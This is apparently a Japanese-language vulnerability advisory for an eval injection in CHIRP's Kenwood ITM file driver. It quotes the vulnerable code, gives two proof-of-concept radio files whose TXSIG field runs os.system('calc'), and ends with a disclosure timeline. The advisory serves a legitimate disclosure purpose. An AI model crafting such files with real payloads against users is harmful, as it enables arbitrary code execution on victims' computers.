eval() による任意コード実行製品: CHIRP - アマチュア無線機のプログラミング用オープンソースプロジェクト。
影響を受けるバージョン:
URL: https://github.com/kk7ds/chirp, https://chirpmyradio.com
影響を受けるバージョン: <= chirp-next-20260814
CWE: CWE-95 (Eval Injection)
CHIRP の Kenwood ITM ファイル形式ドライバは、開かれたファイルの生の CSV フィールド値を検証なしで Python 組み込みの eval() に直接渡します。細工されたファイルを CHIRP ユーザーに届ける攻撃者は、被害者ユーザーとして任意コード実行を達成できます。
chirp/drivers/kenwood_itm.py、_clean_tmode()、66~67 行目:
def _clean_tmode(self, headers, line, mem):
rtone = eval(generic_csv.get_datum_by_header(headers, line, "TXSIG")) # SINK
ctone = eval(generic_csv.get_datum_by_header(headers, line, "RXSIG")) # SINK
TXSIG と RXSIG の値は、開かれたファイル内の CSV 行から直接取得されます。eval() の前に型チェック、許可リスト、サンドボックス化は一切適用されません。
以下に 2 つの POC を示します。
.itm// Malicious .itm POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,1,146.520000,146.520000,PoC,__import__('os').system('calc'),0
.img// Malicious .img POC
CH,ZN,RXF,TXF,NAME,TXSIG,RXSIG
1,0,146520000,146520000,PoC,__import__('os').system('calc.exe'),0
chirpεimgeyJyY2xhc3MiOiAiSVRNUmFkaW8iLCAidmVuZG9yIjogIktlbndvb2QiLCAibW9kZWwiOiAiSVRNIiwgInZhcmlhbnQiOiAiIiwgImNoaXJwX3ZlcnNpb24iOiAiZGFpbHktMjAyMzAxMDEifQ==
{file_name}.img を選択します。.itm ペイロードを使用する場合は、フィルタのドロップダウンを 「All Files」 に変更してください(CHIRP では ITM はフィルタ対象外です)。{file_name}.itm を選択します。2026-8-17 -- 脆弱性を発見
2026-8-17 -- メンテナにメール送信
2026-8-17 -- メンテナが応答し、同日にコードを修正。https://github.com/kk7ds/chirp/commit/39178dbfc4fece083ab9ed20286d6ae3a91a718e
2026-8-21 -- インストーラリリース 20260821 に修正が含まれる。
2026-8-22 -- NotCVE-2026-0013 が発行された。
2026-8-23 -- CVE-2026-78136 が発行された。